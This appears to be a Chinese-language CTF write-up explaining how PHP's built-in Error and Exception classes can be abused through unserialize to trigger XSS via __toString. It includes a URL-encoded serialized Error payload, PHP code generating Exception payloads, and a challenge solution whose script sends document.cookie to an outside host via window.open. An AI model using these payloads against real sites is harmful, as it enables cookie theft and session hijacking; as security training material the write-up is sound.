浅谈利用php的原生类进行XSS

前言

​ 一般这个知识点出现在ctf竞赛中时会给出反序列化点,但是我们却找不到POP链,无法构造POC。当我们只看到有反序列化点而没有POP链时我们就可以考虑利用php的原生类进行XSS。

PHP原生类

一般我们看到存在反序列化点的时候我们肯定会想到关于php的那些魔法函数,在这里不在一一介绍了,说一下destruct、__ toString __
destruct:当对象销毁时会调用此方法.那么什么时候对象会销毁呢?一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
toString:当对象被当作一个字符串使用时候调用
看标题我们就知道我们是要利用php的原生类进行xss的,但是到底要用到哪几个原生类呢。
这里主要讲两个PHP的内置类:Error和Exception
要注意的点是这两个内置类可以利用的PHP版本不相同,我们在利用时要注意php的版本问题
Error 适用于php7版本
Exception 适用于php5、7版本

Error

Error类是php的一个内置类,用于自动自定义一个Error,因为它内置有一个toString的方法,在php7的环境下可能会造成一个xss漏洞。下面我们可以在本地测试一下。利用方法:

1
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A30%3A%22%3Cscript%3Ealert%28%27ly0n%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A41%3A%22%2Fmnt%2Fe%2Fphpstudy_pro%2FWWW%2Fphp%2Fphp%2Ferror.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

然后在本地进行访问

可以看到已经成功利用。

Exception

Exception相对于Error来说利用原理时相同的,只不过Exception的应用范围更广一些。
利用方法:

1
2
3
4
5
<?php
$a = new Exception("<script>alert('LY0NXSS')</script>");
$b = serialize($a);
echo urlencode($b);
?>

题目解析

在平常刷题的时候见到了一道题目靠考察的就是这个知识点。BJDCTF 2nd xss之光
打开题目就只看到了gungungun

通过扫描目录发现是git泄露,使用Git_Extract下载下来源码

发现有个echo;所以我们最好对有_toString方法的的类进行反序列化;;在 _toString()的原生类反序列化中,常用的是Error和Exception;但是这里Errot只是php7专用,这里我们查看一下题目的环境发现是php5;所以我们只能使用Exception这个原生类。
所以就是对Exception进行反序列化,它的发序列化只能是XSS。

测试之后发现成功利用
原生类构造
payload

1
2
3
4
<?php
$a = serialize(new Exception('"<script>window.open(\'http://ccb6a72a-69f3-40ef-b14f-96763eebd9c4.node3.buuoj.cn/?\'+document.cookie);</script>'));
echo urlencode($a);
?>

在url中成功得到flag!

参考文章[NPFS师傅]:https://www.cnblogs.com/NPFS/p/13385038.html

当实力不够支撑你的想象时,你就只能更加努力!